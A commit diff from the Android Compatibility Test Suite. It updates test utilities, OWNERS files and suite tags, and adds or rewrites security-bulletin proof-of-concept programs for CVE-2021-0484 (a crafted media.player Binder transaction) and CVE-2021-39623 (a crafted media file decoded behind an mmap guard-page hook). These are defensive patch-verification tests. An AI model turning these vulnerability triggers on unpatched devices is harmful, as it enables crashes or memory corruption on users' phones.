Merge changes from topic "am-c8d04a62082f465a994a59544a70af7b" into android13-tests-dev am: d217908226 -s ours
am skip reason: Merged-In I2d527d35c29d119a5e1d3c1e23b7677911d1abd1 with SHA-1 346a2557cf is already in history
Original change: https://android-review.googlesource.com/c/platform/cts/+/2616194
Change-Id: Ia21278d16d72c29b0f87e19c1f1c70d73f5bcac5
Signed-off-by: Automerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
deleted file mode 100644
index dce1cae..0000000
--- a/apps/MainlineModuleDetector/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.mainlinemoduledetector"
- android:versionCode="1"
- android:versionName="1.0">
-
- <application>
- <activity android:name=".MainlineModuleDetector"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/apps/MainlineModuleDetector/OWNERS b/apps/MainlineModuleDetector/OWNERS
deleted file mode 100644
index 8f076a8..0000000
--- a/apps/MainlineModuleDetector/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 195645
-manjaepark@google.com
-mspector@google.com
\ No newline at end of file
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
deleted file mode 100644
index 01c02c7..0000000
--- a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.mainlinemoduledetector;
-
-import android.app.Activity;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.util.Log;
-
-import com.android.compatibility.common.util.mainline.MainlineModule;
-import com.android.compatibility.common.util.mainline.ModuleDetector;
-
-import java.util.HashSet;
-import java.util.Set;
-
-public class MainlineModuleDetector extends Activity {
-
- private static final String LOG_TAG = "MainlineModuleDetector";
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- try {
- PackageManager pm = getApplicationContext().getPackageManager();
- Set<MainlineModule> modules = ModuleDetector.getPlayManagedModules(pm);
- Set<String> moduleNames = new HashSet<>();
- for (MainlineModule module : modules) {
- moduleNames.add(module.packageName);
- }
- Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">");
- } catch (Exception e) {
- Log.e(LOG_TAG, "Failed to retrieve modules.", e);
- }
- this.finish();
- }
-}
diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS
index 55fc077..c7a387c 100644
--- a/common/device-side/util-axt/OWNERS
+++ b/common/device-side/util-axt/OWNERS
@@ -1,2 +1,2 @@
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index f9174ad..59ff12e 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -344,11 +344,13 @@
return;
}
if (!packageInfo.applicationInfo.isSystemApp()) {
- if (isCnBuild() && exception.hasNonBrandSha256()) {
- // Due to CN app removability requirement, allow non-system app pregrant exceptions,
- // as long as they specify a hash (b/121209050)
+ if (exception.hasNonBrandSha256()) {
+ // Due to CN app removability requirement (b/121209050) and EU DMA requirement
+ // (b/248964397), allow non-system app pregrant exceptions as long as they specify a
+ // hash.
} else {
- Log.w(LOG_TAG, "Cannot pregrant permissions to non-system package:" + packageName);
+ Log.w(LOG_TAG, "Cannot pregrant permissions to non-system package without cert"
+ + " digest: " + packageName);
return;
}
}
@@ -481,7 +483,7 @@
Context context = getInstrumentation().getTargetContext();
for (PackageInfo pkg : packageInfos.values()) {
- int targetSdk = pkg.applicationInfo.targetSandboxVersion;
+ int targetSdk = pkg.applicationInfo.targetSdkVersion;
int uid = pkg.applicationInfo.uid;
for (String permission : pkg.requestedPermissions) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index 6e1fc6c..1611e13 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -21,6 +21,7 @@
import android.graphics.Rect;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.StaleObjectException;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.UiObjectNotFoundException;
@@ -28,6 +29,7 @@
import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.util.TypedValue;
+import android.util.Log;
import androidx.test.InstrumentationRegistry;
import androidx.test.core.app.ApplicationProvider;
@@ -37,6 +39,8 @@
public class UiAutomatorUtils {
private UiAutomatorUtils() {}
+ private static final String LOG_TAG = "UiAutomatorUtils";
+
/** Default swipe deadzone percentage. See {@link UiScrollable}. */
private static final double DEFAULT_SWIPE_DEADZONE_PCT_TV = 0.1f;
private static final double DEFAULT_SWIPE_DEADZONE_PCT_ALL = 0.25f;
@@ -102,7 +106,15 @@
final int minViewHeightPx = convertDpToPx(MIN_VIEW_HEIGHT_DP);
while (view == null && start + timeoutMs > System.currentTimeMillis()) {
- view = getUiDevice().wait(Until.findObject(selector), 1000);
+ try {
+ view = getUiDevice().wait(Until.findObject(selector), 1000);
+ } catch (StaleObjectException exception) {
+ // UiDevice.wait() may cause StaleObjectException if the {@link View} attached to
+ // UiObject2 is no longer in the view tree.
+ Log.v(LOG_TAG, "UiObject2 view is no longer in the view tree.", exception);
+ getUiDevice().waitForIdle();
+ continue;
+ }
if (view == null || view.getVisibleBounds().height() < minViewHeightPx) {
final double deadZone = getSwipeDeadZonePct();
diff --git a/common/device-side/util/OWNERS b/common/device-side/util/OWNERS
index b61fd53..aa5c93e 100644
--- a/common/device-side/util/OWNERS
+++ b/common/device-side/util/OWNERS
@@ -1,2 +1,2 @@
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index fb0b429..d02dc42 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -748,6 +748,8 @@
BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
.put("/apex/com.android.btservices/app/BluetoothGoogle/BluetoothGoogle.apk",
BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
+ .put("/apex/com.android.bluetooth/app/BluetoothGoogle/BluetoothGoogle.apk",
+ BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
.put("/apex/com.android.permission/priv-app/PermissionController/PermissionController.apk",
PERMISSION_CONTROLLER_APK_IN_APEX_BURNDOWN_LIST)
.put("/apex/com.android.permission/priv-app/GooglePermissionController/GooglePermissionController.apk",
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index ff1e122..de8c4e2 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -32,6 +32,7 @@
"compatibility-host-util",
"truth-prebuilt",
"hamcrest-library",
+ "sts-host-util",
],
static_libs: [
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
index e86aa57..2e182eb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
@@ -21,7 +21,7 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import static org.junit.Assert.assertNull;
import static org.junit.Assume.assumeTrue;
@@ -30,7 +30,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class RoleSecurityTest extends BaseHostJUnit4Test {
+public class RoleSecurityTest extends StsExtraBusinessLogicHostTestBase {
private static final String ROLE_SECURITY_TEST_APP_APK = "CtsRoleSecurityTestApp.apk";
private static final String ROLE_SECURITY_TEST_APP_PACKAGE = "com.android.cts.rolesecuritytest";
diff --git a/hostsidetests/backup/Android.bp b/hostsidetests/backup/Android.bp
index 4821c99..c46a54a 100644
--- a/hostsidetests/backup/Android.bp
+++ b/hostsidetests/backup/Android.bp
@@ -24,6 +24,7 @@
"cts",
"general-tests",
"mts",
+ "sts",
],
libs: [
"cts-tradefed",
diff --git a/hostsidetests/edi/OWNERS b/hostsidetests/edi/OWNERS
index 88c9013..8e0766f 100644
--- a/hostsidetests/edi/OWNERS
+++ b/hostsidetests/edi/OWNERS
@@ -1,8 +1,5 @@
# Bug component: 47509
-aaronholden@google.com
-agathaman@google.com
-nickrose@google.com
-samlin@google.com
-
+anwenxu@google.com
+sehajgrover@google.com
# For cleanups and bug fixes
satayev@google.com #{LAST_RESORT_SUGGESTION}
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
index 8c59b53..1608365 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
@@ -28,6 +28,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
sdk_version: "test_current",
min_sdk_version: "19",
diff --git a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
index 77cc851..a8de1a5 100644
--- a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
+++ b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
@@ -54,7 +54,6 @@
import javax.annotation.Nullable;
public class MediaMetricsAtomTests extends DeviceTestCase implements IBuildReceiver {
-
private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
private static final String TAG = "MediaMetricsAtomTests";
public static final String TEST_APK = "CtsMediaMetricsHostTestApp.apk";
@@ -494,7 +493,6 @@
"getLogSessionId")).doesNotContain(logSessionId);
}
-
public void testAttributionBlocklist() throws Exception {
ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 527e8ef..4453beb 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -303,6 +303,7 @@
"general-tests",
"mts-mediaprovider",
"cts",
+ "gts"
],
test_config: "AndroidTest.xml",
per_testcase_directory: true,
diff --git a/hostsidetests/scopedstorage/AndroidManifest.xml b/hostsidetests/scopedstorage/AndroidManifest.xml
index 39dc12e..e6902c7 100644
--- a/hostsidetests/scopedstorage/AndroidManifest.xml
+++ b/hostsidetests/scopedstorage/AndroidManifest.xml
@@ -17,7 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.scopedstorage.cts" >
- <uses-sdk android:minSdkVersion="30" />
+ <uses-sdk android:minSdkVersion="29" />
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
<uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 320d541..12e4e16 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="External storage host test for legacy and scoped storage">
<option name="test-suite-tag" value="cts" />
+ <option name="test-suite-tag" value="gts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index cd9378d..108462b 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -18,9 +18,15 @@
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
import android.platform.test.annotations.AppModeFull;
+import com.android.compatibility.common.util.CtsDownstreamingTest;
+import com.android.modules.utils.build.testing.DeviceSdkLevel;
+import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
@@ -68,6 +74,9 @@
@Before
public void setup() throws Exception {
+ DeviceSdkLevel deviceSdkLevel = new DeviceSdkLevel(getDevice());
+ assumeTrue(deviceSdkLevel.isDeviceAtLeastR());
+
setupExternalStorage();
executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
@@ -145,26 +154,48 @@
}
@Test
+ @CtsDownstreamingTest
public void testCheckInstallerAppAccessToObbDirs() throws Exception {
+ CLog.i("IF THIS TEST FAILS GTS, please check if your build includes "
+ + "the following critical Android T patch: "
+ + "https://docs.partner.android.com/gms/policies/bulletins/sep-2022#239495492");
+
allowAppOps("android:request_install_packages");
- grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+ if (isSdkLevelLessThanT()) {
+ grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ }
try {
runDeviceTest("testCheckInstallerAppAccessToObbDirs");
} finally {
denyAppOps("android:request_install_packages");
- revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+ if (isSdkLevelLessThanT()) {
+ revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ }
}
}
@Test
+ @CtsDownstreamingTest
public void testCheckInstallerAppCannotAccessDataDirs() throws Exception {
+ CLog.i("IF THIS TEST FAILS GTS, please check if your build includes "
+ + "the following critical Android T patch: "
+ + "https://docs.partner.android.com/gms/policies/bulletins/sep-2022#239495492");
+
allowAppOps("android:request_install_packages");
- grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+ if (isSdkLevelLessThanT()) {
+ grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ }
try {
runDeviceTest("testCheckInstallerAppCannotAccessDataDirs");
} finally {
denyAppOps("android:request_install_packages");
- revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+ if (isSdkLevelLessThanT()) {
+ revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ }
}
}
@@ -389,4 +420,9 @@
executeShellCommand("cmd appops set --uid android.scopedstorage.cts " + op + " deny");
}
}
+
+ private boolean isSdkLevelLessThanT() throws DeviceNotAvailableException {
+ DeviceSdkLevel deviceSdkLevel = new DeviceSdkLevel(getDevice());
+ return !deviceSdkLevel.isDeviceAtLeastT();
+ }
}
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 30b6161..2524227 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -43,6 +43,7 @@
cc_defaults {
name: "cts_hostsidetests_securitybulletin_defaults",
+ auto_gen_config: false,
compile_multilib: "both",
multilib: {
lib32: {
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39623.ogg b/hostsidetests/securitybulletin/res/cve_2021_39623.ogg
new file mode 100644
index 0000000..1992a17
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39623.ogg
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2022_22082.dsf b/hostsidetests/securitybulletin/res/cve_2022_22082.dsf
new file mode 100644
index 0000000..60d1a5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2022_22082.dsf
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
index 1aafea3..cea0ad0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -18,49 +18,37 @@
#include <media/mediaplayer.h>
#include "../includes/common.h"
-#define PREPARE_DRM 39
-
using namespace android;
int main() {
+ constexpr size_t bufferSize = 16;
+ constexpr uint32_t prepareDrm = 39;
+ constexpr uint32_t unknownTrxnCode = prepareDrm + 5;
sp<IServiceManager> serviceManager = defaultServiceManager();
- if (serviceManager == nullptr) {
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(serviceManager != nullptr);
sp<IBinder> mediaPlayerService = serviceManager->getService(String16("media.player"));
- if (mediaPlayerService == nullptr) {
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(mediaPlayerService != nullptr);
sp<IMediaPlayerService> iMediaPlayerService =
IMediaPlayerService::asInterface(mediaPlayerService);
- if (iMediaPlayerService == nullptr) {
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(iMediaPlayerService != nullptr);
- MediaPlayer *mediaPlayer = new MediaPlayer();
- if (mediaPlayer == nullptr) {
- return EXIT_FAILURE;
- }
+ sp<MediaPlayer> mediaPlayer = new MediaPlayer();
+ FAIL_CHECK(mediaPlayer != nullptr);
sp<IMediaPlayer> iMediaPlayer = iMediaPlayerService->create(mediaPlayer);
- if (iMediaPlayer == nullptr) {
- delete (mediaPlayer);
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(iMediaPlayer != nullptr);
Parcel data, reply;
data.writeInterfaceToken(iMediaPlayer->getInterfaceDescriptor());
- const uint8_t arr[16] = {};
- data.write(arr, 16);
- data.writeUint32(2);
- data.writeUnpadded(arr, 1);
+ status_t status = IMediaPlayer::asBinder(iMediaPlayer)->transact(unknownTrxnCode, data, &reply);
+ FAIL_CHECK(status == UNKNOWN_TRANSACTION);
- IMediaPlayer::asBinder(iMediaPlayer)->transact(PREPARE_DRM, data, &reply);
- uint32_t size = 0;
- reply.readUint32(&size);
-
- delete (mediaPlayer);
- return (size > 0) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+ const uint8_t arr[bufferSize] = {};
+ data.write(arr, bufferSize);
+ data.writeUint32(bufferSize);
+ data.writeUnpadded(arr, bufferSize - 1);
+ status = IMediaPlayer::asBinder(iMediaPlayer)->transact(prepareDrm, data, &reply);
+ return status == OK ? EXIT_VULNERABLE : EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp
similarity index 69%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp
index 09297b2..50662fd 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp
@@ -19,21 +19,18 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-android_test_helper_app {
- name: "CVE-2022-20347",
- defaults: [
- "cts_defaults",
- ],
+cc_test {
+ name: "CVE-2021-39623",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
srcs: [
- "src/**/*.java",
+ "poc.cpp",
],
- test_suites: [
- "sts",
+ header_libs: [
+ "libmediametrics_headers",
],
- static_libs: [
- "androidx.test.core",
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
+ shared_libs: [
+ "libstagefright",
+ "libdatasource",
+ "libutils",
],
- platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp
new file mode 100644
index 0000000..d9e38ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <gui/SurfaceComposerClient.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/InterfaceUtils.h>
+#include <media/stagefright/MediaCodecList.h>
+#include <media/stagefright/MediaExtractorFactory.h>
+#include <media/stagefright/SimpleDecodingSource.h>
+#include <sys/mman.h>
+
+typedef void *(*mmap_t)(void *, size_t, int, int, int, off_t);
+mmap_t real_mmap = nullptr;
+
+using namespace android;
+
+bool testInProgress = false;
+constexpr size_t kTargetBufferSize = 32768;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+void *mmap(void *addr, size_t length, int prot, int flags, int fd,
+ off_t offset) {
+ real_mmap = (mmap_t)dlsym(RTLD_NEXT, "mmap");
+ if (!real_mmap) {
+ exit(EXIT_FAILURE);
+ }
+ if (length == kTargetBufferSize) {
+ char *tmp_ptr = (char *)real_mmap(addr, length + PAGE_SIZE, prot,
+ flags | MAP_ANONYMOUS, -1, offset);
+ mprotect(tmp_ptr + length, PAGE_SIZE, PROT_NONE);
+ return tmp_ptr;
+ }
+ return real_mmap(addr, length, prot, flags, fd, offset);
+}
+
+int main(int argc, char **argv) {
+ FAIL_CHECK(argc > 1);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ sp<DataSource> dataSource = DataSourceFactory::getInstance()->CreateFromURI(
+ nullptr /* httpService */, argv[1]);
+ FAIL_CHECK(dataSource);
+
+ sp<IMediaExtractor> extractor = MediaExtractorFactory::Create(dataSource);
+ FAIL_CHECK(extractor);
+
+ sp<MediaSource> mediaSource =
+ CreateMediaSourceFromIMediaSource(extractor->getTrack(0));
+ FAIL_CHECK(mediaSource);
+
+ sp<MediaSource> rawSource = SimpleDecodingSource::Create(
+ mediaSource, MediaCodecList::kPreferSoftwareCodecs, nullptr, nullptr,
+ false);
+ FAIL_CHECK(rawSource);
+
+ status_t err = rawSource->start();
+ FAIL_CHECK(err == OK);
+
+ MediaSource::ReadOptions options = {};
+ MediaBufferBase *buffer = nullptr;
+
+ testInProgress = true;
+ rawSource->read(&buffer, &options);
+ testInProgress = false;
+ if (buffer) {
+ buffer->release();
+ buffer = nullptr;
+ }
+ options.clearSeekTo();
+ options.setSeekTo(0);
+ rawSource->stop();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index c8e8cbf..213c7b1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,16 +16,20 @@
package android.security.cts;
-import com.android.compatibility.common.util.CrashUtils;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
import com.android.compatibility.common.util.MetricsReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.ddmlib.CollectingOutputReceiver;
import com.android.ddmlib.IShellOutputReceiver;
import com.android.ddmlib.NullOutputReceiver;
-import com.android.ddmlib.CollectingOutputReceiver;
+import com.android.sts.common.tradefed.testtype.SecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.NativeDevice;
import com.android.tradefed.log.LogUtil.CLog;
import java.io.BufferedOutputStream;
@@ -33,27 +37,14 @@
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
-import java.util.concurrent.TimeoutException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
import java.util.Map;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import java.util.concurrent.TimeUnit;
-import java.util.Scanner;
-import java.util.Arrays;
-import java.util.ArrayList;
-import java.util.concurrent.Callable;
-import java.util.Collections;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.util.regex.Pattern;
-import java.lang.Thread;
-
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
public class AdbUtils {
@@ -67,15 +58,18 @@
final static Pattern regexSpecialCharsEscapedPattern =
Pattern.compile("[" + regexSpecialCharsEscaped + "]");
+ /**
+ * @deprecated Use {@link NativePoc} instead.
+ */
+ @Deprecated
public static class pocConfig {
String binaryName;
String arguments;
Map<String, String> envVars;
String inputFilesDestination;
ITestDevice device;
- CrashUtils.Config config;
+ TombstoneUtils.Config config = new TombstoneUtils.Config();
List<String> inputFiles = Collections.emptyList();
- boolean checkCrash = true;
pocConfig(String binaryName, ITestDevice device) {
this.binaryName = binaryName;
@@ -83,12 +77,15 @@
}
}
- /** Runs a commandline on the specified device
+ /**
+ * Runs a commandline on the specified device
*
+ * @deprecated Use {@link CommandUtil} instead.
* @param command the command to be ran
* @param device device for the command to be ran on
* @return the console output from running the command
*/
+ @Deprecated
public static String runCommandLine(String command, ITestDevice device) throws Exception {
if ("reboot".equals(command)) {
throw new IllegalArgumentException(
@@ -100,10 +97,12 @@
/**
* Pushes and runs a binary to the selected device
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @return the console output from the binary
*/
+ @Deprecated
public static String runPoc(String pocName, ITestDevice device) throws Exception {
return runPoc(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
}
@@ -111,11 +110,13 @@
/**
* Pushes and runs a binary to the selected device
*
+ * @deprecated Use {@link NativePoc} instead.
* @param pocName name of the poc binary
* @param device device to be ran on
* @param timeout time to wait for output in seconds
